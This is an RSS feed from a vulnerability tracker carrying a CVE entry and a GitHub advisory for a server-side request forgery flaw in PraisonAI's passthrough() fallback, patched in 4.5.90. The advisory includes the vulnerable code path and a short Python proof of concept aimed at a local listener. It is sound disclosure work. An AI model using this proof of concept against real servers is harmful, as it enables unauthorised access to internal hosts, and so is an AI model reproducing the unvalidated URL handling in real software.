<?xml version='1.0' encoding='UTF-8'?>
<?xml-stylesheet href="/static/style.xsl" type="text/xsl"?>
<rss xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/" version="2.0">
  <channel>
    <title>Most recent entries from all</title>
    <link>https://cve.radiocsirt.org</link>
    <description>Contains only the most 10 recent entries.</description>
    <docs>http://www.rssboard.org/rss-specification</docs>
    <generator>python-feedgen</generator>
    <language>en</language>
    <lastBuildDate>Mon, 12 Oct 2026 23:27:10 +0000</lastBuildDate>
    <item>
      <title>CVE-2026-34936 — PraisonAI: SSRF via Unvalidated api_base in passthrough() Fallback</title>
      <link>https://cve.radiocsirt.org/vuln/cve-2026-34936</link>
      <description>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; MervinPraison PraisonAI&lt;/p&gt;
&lt;p&gt;PraisonAI is a multi-agent teams system. Prior to version 4.5.90, passthrough() and apassthrough() in praisonai accept a caller-controlled api_base parameter that is concatenated with endpoint and passed directly to httpx.Client.request() when the litellm primary path raises AttributeError. No URL scheme validation, private IP filtering, or domain allowlist is applied, allowing requests to any host reachable from the server. This issue has been patched in version 4.5.90.&lt;/p&gt;</description>
      <content:encoded>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; MervinPraison PraisonAI&lt;/p&gt;
&lt;p&gt;PraisonAI is a multi-agent teams system. Prior to version 4.5.90, passthrough() and apassthrough() in praisonai accept a caller-controlled api_base parameter that is concatenated with endpoint and passed directly to httpx.Client.request() when the litellm primary path raises AttributeError. No URL scheme validation, private IP filtering, or domain allowlist is applied, allowing requests to any host reachable from the server. This issue has been patched in version 4.5.90.&lt;/p&gt;</content:encoded>
      <guid isPermaLink="false">https://cve.radiocsirt.org/vuln/cve-2026-34936</guid>
    </item>
    <item>
      <title>GHSA-x6m9-gxvr-7jpv — PraisonAI: SSRF via Unvalidated api_base in passthrough() Fallback</title>
      <link>https://cve.radiocsirt.org/vuln/ghsa-x6m9-gxvr-7jpv</link>
      <description>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; PyPI: praisonai&lt;/p&gt;
&lt;p&gt;### Summary&lt;/p&gt;
&lt;p&gt;`passthrough()` and `apassthrough()` in `praisonai` accept a caller-controlled `api_base` parameter that is concatenated with `endpoint` and passed directly to `httpx.Client.request()` when the litellm primary path raises `AttributeError`. No URL scheme validation, private IP filtering, or domain allowlist is applied, allowing requests to any host reachable from the server.&lt;/p&gt;
&lt;p&gt;### Details&lt;/p&gt;
&lt;p&gt;`passthrough.py:92` (source) -&amp;gt; `passthrough.py:109` (fallback trigger) -&amp;gt; `passthrough.py:110` (sink)
```python
# source -- api_base taken directly from caller
def passthrough(endpoint, api_base=None, method=&amp;#34;GET&amp;#34;, ...):&lt;/p&gt;
&lt;p&gt;# fallback trigger -- AttributeError from unrecognised provider enters fallback
except AttributeError:
    url = f&amp;#34;{api_base or &amp;#39;https://api.openai.com&amp;#39;}{endpoint}&amp;#34;&lt;/p&gt;
&lt;p&gt;# sink -- no validation before request
    response = client.request(method, url=url, ...)
```&lt;/p&gt;
&lt;p&gt;### PoC
```python
# tested on: praisonai 1.5.87 (source install)
# install: pip install -e src/praisonai
# start listener: python3 -m http.server 8888
import sys, litellm
sys.path.insert(0, &amp;#39;src/praisonai&amp;#39;)
del litellm.llm_passthrough_route&lt;/p&gt;
&lt;p&gt;from praisonai.capabilities.passthrough import passthrough&lt;/p&gt;
&lt;p&gt;result = passthrough(
    endpoint=&amp;#34;/ssrf-test&amp;#34;,
    api_base=&amp;#34;http://127.0.0.1:8888&amp;#34;,
    method=&amp;#34;GET&amp;#34;,
    custom_llm_provider=&amp;#34;__nonexistent__&amp;#34;,
)
print(result)
# expected output: PassthroughResult(data=&amp;#39;...&amp;#39;, status_code=404, headers={&amp;#39;server&amp;#39;: &amp;#39;SimpleHTTP/0.6 Python/3.12.3&amp;#39;, ...})
# listener logs: &amp;#34;GET…&lt;/p&gt;</description>
      <content:encoded>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; PyPI: praisonai&lt;/p&gt;
&lt;p&gt;### Summary&lt;/p&gt;
&lt;p&gt;`passthrough()` and `apassthrough()` in `praisonai` accept a caller-controlled `api_base` parameter that is concatenated with `endpoint` and passed directly to `httpx.Client.request()` when the litellm primary path raises `AttributeError`. No URL scheme validation, private IP filtering, or domain allowlist is applied, allowing requests to any host reachable from the server.&lt;/p&gt;
&lt;p&gt;### Details&lt;/p&gt;
&lt;p&gt;`passthrough.py:92` (source) -&amp;gt; `passthrough.py:109` (fallback trigger) -&amp;gt; `passthrough.py:110` (sink)
```python
# source -- api_base taken directly from caller
def passthrough(endpoint, api_base=None, method=&amp;#34;GET&amp;#34;, ...):&lt;/p&gt;
&lt;p&gt;# fallback trigger -- AttributeError from unrecognised provider enters fallback
except AttributeError:
    url = f&amp;#34;{api_base or &amp;#39;https://api.openai.com&amp;#39;}{endpoint}&amp;#34;&lt;/p&gt;
&lt;p&gt;# sink -- no validation before request
    response = client.request(method, url=url, ...)
```&lt;/p&gt;
&lt;p&gt;### PoC
```python
# tested on: praisonai 1.5.87 (source install)
# install: pip install -e src/praisonai
# start listener: python3 -m http.server 8888
import sys, litellm
sys.path.insert(0, &amp;#39;src/praisonai&amp;#39;)
del litellm.llm_passthrough_route&lt;/p&gt;
&lt;p&gt;from praisonai.capabilities.passthrough import passthrough&lt;/p&gt;
&lt;p&gt;result = passthrough(
    endpoint=&amp;#34;/ssrf-test&amp;#34;,
    api_base=&amp;#34;http://127.0.0.1:8888&amp;#34;,
    method=&amp;#34;GET&amp;#34;,
    custom_llm_provider=&amp;#34;__nonexistent__&amp;#34;,
)
print(result)
# expected output: PassthroughResult(data=&amp;#39;...&amp;#39;, status_code=404, headers={&amp;#39;server&amp;#39;: &amp;#39;SimpleHTTP/0.6 Python/3.12.3&amp;#39;, ...})
# listener logs: &amp;#34;GET…&lt;/p&gt;</content:encoded>
      <guid isPermaLink="false">https://cve.radiocsirt.org/vuln/ghsa-x6m9-gxvr-7jpv</guid>
    </item>
  </channel>
</rss>
